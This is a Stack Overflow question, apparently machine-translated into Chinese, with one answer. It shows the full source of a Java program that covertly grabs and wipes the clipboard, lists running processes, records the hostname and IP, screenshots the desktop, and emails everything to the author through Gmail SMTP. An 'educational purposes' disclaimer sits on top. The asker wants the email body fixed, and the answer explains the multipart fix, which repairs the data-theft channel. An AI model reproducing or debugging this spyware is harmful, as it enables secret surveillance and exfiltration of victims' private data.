我正在尝试创建一个程序,该程序发送包含带附件的某些数据的电子邮件但由于某种原因未收到电子邮件中的文本。整个代码是:
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.StringSelection;
import java.awt.datatransfer.Transferable;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.*;
import javax.activation.*;
import javax.imageio.ImageIO;
import javax.mail.*;
import javax.mail.internet.*;
/* Terms of Use
* Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only
* No data received from this app is used for any other purpose except the ones above
* Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)
* You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)
* Silver is NOT responsible for any damages, physical or virtual, caused by this program
* Clipboard, Screen Capture and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)
* SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])
* Copyright IdreesInc.com All rights reserved
*/
public class Application {
public static void main(String[] args) {
final String username = "javasmtpserver@gmail.com";
final String password = "password";
String data = null;
BufferedReader input = null;
String commandOutput = "";
InetAddress ip = null;
String hostname = null;
boolean allowEmails = true; //Allows or Blocks the application's ability to send emails
//Clipboard Copier
Transferable t = Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null);
try {
if (t != null && t.isDataFlavorSupported(DataFlavor.stringFlavor)) {
String text = (String)t.getTransferData(DataFlavor.stringFlavor);
data = text;
System.out.println("Current clipboard data:\n"+data); //Prints Clipboard data
text=""; //String is now empty
StringSelection ss = new StringSelection(text); //Clears Clipboard data
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(ss, null);
System.out.println("Clipboard data wiped successfully" + text); //Displays "text" string after output for debugging
}
}
catch(Exception e)
{
}
//Tasklist Copier
try {
String line;
Process p = Runtime.getRuntime().exec("tasklist.exe"); //Accesses running task-list
input =
new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((line = input.readLine()) != null) {
System.out.println(line); //Data is parsed
commandOutput += line;
line = input.readLine();
}
input.close();
} catch (Exception err) {
err.printStackTrace();
}
//IP Address Tracker
try {
ip = InetAddress.getLocalHost();
hostname = ip.getHostName();
System.out.println("IP address : " + ip);
System.out.println("Hostname : " + hostname);
} catch (UnknownHostException e) {
e.printStackTrace();
}
//Screen Capture
try
{
Dimension size = Toolkit.getDefaultToolkit().getScreenSize();
Robot robot = new Robot();
BufferedImage img = robot.createScreenCapture(new Rectangle(size));
File save_path=new File("errorcapture.png");
ImageIO.write(img, "png", save_path);
System.out.println("Screen successfully captured");
}
catch(Exception e)
{
}
//Data Sender
if(allowEmails) {
Properties props = new Properties();
props.put("mail.smtp.auth", true);
props.put("mail.smtp.starttls.enable", true);
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");
Session session = Session.getInstance(props,
new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
try {
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("javasmtpserver@gmail.com"));
message.setRecipients(Message.RecipientType.TO,
InternetAddress.parse("javasmtpserver@gmail.com"));
message.setSubject("Application 'Bitter Coffee' Has Been Activated By " + hostname);
message.setText("Application 'Bitter Coffee' has been activated by " + hostname + " (" + ip + ") and has ran successfully" + "<br><br>The activators information is as follows: " + "<br><br>Hostname: " + hostname + "<br>Server IP Address: " + ip + "<br><br>Clipboard Data: " + data + "<br><br><br>Active Tasks: " + commandOutput + "<br><br><br>Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only<br>No data received from this app is used for any other purpose except the ones above<br>Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)<br>You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)<br>I am not responsible for any damages, physical or virtual, caused by this program<br>Clipboard and Task-list checkers based off programs by csanuragjain (www.codeproject.com/Members/csanuragjain)<br>SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])<br><br>Copyright IdreesInc.com All rights reserved");
MimeBodyPart messageBodyPart = new MimeBodyPart();
Multipart multipart = new MimeMultipart();
messageBodyPart = new MimeBodyPart();
String file = "errorcapture.png";
String fileName = "errorcapture.png";
DataSource source = new FileDataSource(file);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(fileName);
multipart.addBodyPart(messageBodyPart);
message.setContent(multipart);
System.out.println("Sending");
Transport.send(message);
System.out.println("Done");
} catch (MessagingException e) {
e.printStackTrace();
}
}
}
}
包含程序javamail sender的部分在这里:
//Data Sender
if(allowEmails) {
Properties props = new Properties();
props.put("mail.smtp.auth", true);
props.put("mail.smtp.starttls.enable", true);
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");
Session session = Session.getInstance(props,
new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
try {
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("javasmtpserver@gmail.com"));
message.setRecipients(Message.RecipientType.TO,
InternetAddress.parse("javasmtpserver@gmail.com"));
message.setSubject("Application 'Bitter Coffee' Has Been Activated By " + hostname);
message.setText("This is the body text that won't show up");
MimeBodyPart messageBodyPart = new MimeBodyPart();
Multipart multipart = new MimeMultipart();
messageBodyPart = new MimeBodyPart();
String file = "errorcapture.png";
String fileName = "errorcapture.png";
DataSource source = new FileDataSource(file);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(fileName);
multipart.addBodyPart(messageBodyPart);
message.setContent(multipart);
System.out.println("Sending");
Transport.send(message);
System.out.println("Done");
} catch (MessagingException e) {
e.printStackTrace();
}
}
请完整解释,因为我是Java的完整菜鸟。 谢谢你所有人的帮助! :) 还告诉我,如果我错过任何帖子,因为这只是我的第2或第3个S.O.问题
答案 0 :(得分:1)
您从哪里复制并粘贴该代码?
JavaMail FAQ有很多提示,包括调试提示。阅读它。
您将找到示例JavaMail程序here,向您展示如何创建带附件的邮件,以及许多其他内容。
你的特殊问题是你的多部分需要两个身体部位 - 一个用于主要文本,一个用于附件。